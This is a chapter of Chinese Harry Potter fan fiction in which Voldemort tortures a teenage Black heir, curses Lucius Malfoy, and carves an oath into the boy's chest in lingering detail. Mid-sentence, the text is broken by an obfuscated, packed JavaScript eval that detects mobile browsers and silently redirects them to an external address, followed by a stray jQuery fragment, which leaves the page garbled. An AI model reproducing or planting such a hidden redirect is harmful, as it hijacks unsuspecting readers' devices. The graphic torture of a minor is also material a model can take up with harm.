透过发丝的缝隙,安塔里斯看到了裹着黑袍的卢修斯,看来他也是一下火车就过来了。


    黑色的长袍厚重沉闷,显得马尔福本来就苍白的脸色变成了不健康的惨白,不过他的金发一如既往的富有光泽、柔顺。


    像是从麻瓜小说里爬出来的吸血鬼。


    安塔里斯没忍住扯了扯嘴角,为自己的冷幽默,但伴随着身体的抽痛又担忧起来:卢修斯这么贸贸然开口,恐怕黑魔王也不会放过他。


    卢修斯·马尔福没想那么多,这对一个马尔福来说实在是不应该,他应该明哲保身而不是像格兰芬多一样不知死活。


    可能是看着安塔里斯的惨样让他又是恐惧又是着急,所以他继续说:“布莱克现在肯定已经知错了,请求您今天暂且饶恕他,毕竟圣诞节之后还需要他作为击球手为斯莱特林带来荣誉!”


    该说不愧是个马尔福吗,给出的理由都那么让黑魔王满意,只不过黑魔王不会轻易放过他:他不会放过任何一个胆敢质疑他权威的人。


    卢修斯开口的突然,在沉默空旷的房间里十分明显。


    老马尔福都没有反应过来的时候他已经说完了,只能不动声色的拿魔杖碰了碰自己还没成年的儿子,示意他快点跪下。


    收到父亲提示的卢修斯也被自己惊出一身冷汗,快速半跪在地上。


    “马尔福,明哲保身的马尔福,审时度势的马尔福、自私自利的马尔福,是什么让你开口?”黑魔王似乎是饶有兴趣的问。


    都能听出他压抑着的怒火。


    小马尔福谦卑的单膝跪地:“大人,我只是不想在我身为级长的时候在魁地奇上被该死的格兰芬多啊——”钻心剜骨同样打在了他身上,小马尔福猝不及防的惨叫出声。


    他和安塔里斯一样,不肯毫无风度的哭叫求饶,因此很快压抑住惨叫,只是伏在地上发抖。


    有了卢修斯·马尔福在前,其他人也忍不住开口。


    “主人,求求您,安塔里斯实在受不住了,他还是个孩子!请您——请您宽恕他吧。”布莱克夫人低低的抽泣在安静的房间里分外明显。


    她只能勉强维持自己贵族的体面,而不是现在就扑到自己的大儿子身上哭喊尖叫。


    “主人,请您宽恕他吧。”布莱克先生也忍不住了,跪伏在地上请求:“这是我的管教不利,我愿意承担更多任务来弥补布莱克家的不敬。”


    贝拉克里斯·布莱克不在,其余人并不想在这个时候招惹黑魔王,何况,他们和布莱克关系一般。


    房间里依旧安静的像死了一样,只有布莱克夫人抑制不住的抽泣声。


    黑魔王饶有兴致的转着手里的魔杖,似乎别人的恐惧对他来说是上好的慰藉,连声音都带着些愉快:“安特,你说呢?你还是不愿让你的兄弟来见我吗?”


    他当然不在乎那个被分到格兰芬多学院的小子,那个小布莱克会怎么样黑魔王根本就懒得理。


    不如说整个布莱克家族仅仅只有安塔里斯和贝拉克里斯能被他放在眼里。


    只是安塔里斯的反应让黑魔王十分不满:这个一向听话的孩子居然敢违背自己的命令?还是因为兄弟,这种无用而软弱的情感还是抹消掉吧。


    因此黑魔王才惩罚安塔里斯——这是安塔里斯第一次被黑魔王惩罚,毕竟曾经的他从没惹怒过黑魔王,一向唯命是从。


    父亲、母亲……蜷缩在地上的安塔里斯似乎终于回过神来了:不行,不能让父亲承担更多的任务了,本身魔力算不上强大的父亲施展那些黑魔法已经对身体和灵魂造成了极大的损伤。他得快点解决这些。


    安塔里斯艰难地颤抖着从地上想要爬起来,甚至第一次因为疼痛不能很好掌控自己的身体,还摔在地上,而后又慢慢在地上跪好。


    黑魔王看起来更满意了。


    小马尔福好不容易缓过疼痛,轻手轻脚地从地上起来,生怕黑魔王发怒。


    不过此时黑魔王所有的心思都在他脚下的安塔里斯身上,他看着这个从小就骄傲,性子又沉默的少年第一次在他面前露出这幅样子:像是被抽掉了脊梁的幼龙,在地上难看地翻滚。


    黑魔王有些难以压抑自己的好心情,要不是不合时宜,他甚至还想大笑。


    看吧,看啊!哪怕是这群高高在上自命不凡的纯血都要摇尾乞怜,这更能证明只有强大的魔力才能带来一切,乃至超越死亡!


    安塔里斯斟酌着开口说:“大人,我并非想要违抗您的命令,只是,只是西里斯过于年幼。”他小心地看了一眼黑魔王的神色,发现黑魔王的脸如同蜡像不辨喜怒。


    于是他咬牙接着往下说:“他如今并不能为您提供什么,反而因为年幼会扰乱您的大事。因此,我才不敢把他带到您面前来。”


    安塔里斯的解释缓解了黑魔王心中的担忧:如果安塔里斯被爱这种无用的情绪困扰,那他只能……


    如今看来,安塔里斯只是想要在自己面前表现的更好罢了,而非保护兄弟。


    黑魔王不再那么疾言厉色,挥动魔杖让安塔里斯坐在了椅子上:此时房间内只有他们两个是坐着的。


    这个动作使周围的食死徒再一次感叹小布莱克受宠信的程度:看看,看看,哪怕是刚被惩罚,也能坐在椅子上说话。


    “孩子,你继续说。”


    安塔里斯微微活动了一下自己已经僵直的脊背和钻心的膝盖,继续解释说:“感谢您的仁慈!等他再大些,我会教导他,如同您当时教导我一样,然后再把他带到您的面前来。到时,他一定会让您满意。”


    黑魔王听完这些,基本已经被安抚下来了。


    但是他不想这么简单就放过安塔里斯:总要给给布莱克家的小子一个抹不掉的惩罚,这样他才能牢牢记住不能违背黑魔王的命令。


    他环视周围的食死徒们,他们都沉默地站在那里,无声地想黑魔王诉说自己的忠诚。


    一眼看到了只会求饶哭泣的布莱克夫妇,黑魔王不屑的想:是个没用的东西。整个布莱克家也就安塔里斯和那个叫贝拉的姑娘有点儿用处。至于老布莱克——要不是看在他是布莱克,好歹也是老牌的纯血贵族,黑魔王根本不屑于亲自招揽他。


    不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146944|162993||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    过,黑魔王满意地看着在椅子上也如坐针毡的少年,突然想到了一个有意思的惩罚。


    于是他说:“安特,过来,露出你的胸膛。”


    他像唤狗一样招手。


    安塔里斯想要站起来,挺直脊背走过去,可饱受折磨的身体实在不允许,因此他只能踉踉跄跄的挪过去。


    他不知道黑魔王让他露出胸膛是为了什么,但在这么多人的注视下,要解开自己的巫师袍,露出胸膛,对于他来说无疑是一件非常侮辱的事。


    其他人衣冠整齐,优雅体面,只有他衣衫不整。


    但安塔里斯不得不做:他已经违抗了黑魔王的一次命令,不能再有第二次了。


    安塔里斯咬着因为疼痛过分苍白的嘴唇,脸上满是驯服的冷谈,可眉眼处总藏着几分的倔强和屈辱。


    为了便于坐着的黑魔王,安塔里斯重新跪下来,露出了少年略显单薄的胸膛。


    很多食死徒的眼睛不自觉被吸引,但又很快如火烧一样地移开:是黑魔王。


    布莱克夫妇眼睁睁看着自己的孩子被惩罚,不敢怨恨黑魔王,只能埋怨自己的二儿子:为什么去格兰芬多?为什么不回来?为什么不能像安塔里斯一样听话呢?


    黑魔王戏弄掌心的鸟雀,一只手温和摸着安塔里斯的头发,像是慈祥的长辈或是神父宽恕罪人;


    一只手拿着魔杖,萦绕猩红色的血光。


    “我该给你一个怎样的惩罚呢安特?”黑魔王装模作样的沉思:“给你留下一个不会消失的印记吧。”


    于是他的魔杖划动,紫衫木掌控生死,划破干净的皮肤,刻上肮脏的诅咒。


    他在安塔里斯的胸膛上写:不能违背伏地魔大人——缓慢又用力,欣赏着安塔里斯脸上痛苦的表情。


    “好了,安特。”黑魔王挑起安塔里斯的下巴,注视他因为痛苦迷蒙的深灰色双眼:“我再给你一年的时间,如果你还没有把自己的兄弟教好,我不介意帮布莱克家除去污点。”


    “是,大人。再次感谢您的宽恕。”


    一连串的血珠浸湿了安塔里斯的巫师袍,就连黑魔王的袖口也沾染些许血迹。


    已经被疼痛掌控大脑的安塔里斯不着四六地想:黑色好啊,染了血都看不出来。


    黑魔王欣赏着自己的作品,也赏玩安塔里斯的痛苦和其他食死徒的恐惧。


    似乎是觉得这一遍字写得不够完美,黑魔王又按住安塔里斯:“安特,等一等,我重写一遍。”


    残忍又天真。


    安塔里斯只能说:“如您所愿,大人。”


    于是黑魔王治好伤口,又写了一遍,如此反复几次,才终于满意。


    “安特,怎么样?这次是不是很不错?”


    安塔里斯早就因为疼痛眼前一阵阵发黑,几乎听不清黑魔王在说什么,只能扯出个笑:“感谢您的恩赐。”


    安塔里斯自己并不知道,他的笑容里满是恐惧和讨好。


    疼痛、恐惧和威胁,足以让一个十五六岁的少年屈服。


    只不过安塔里斯有一个格外坚韧的灵魂。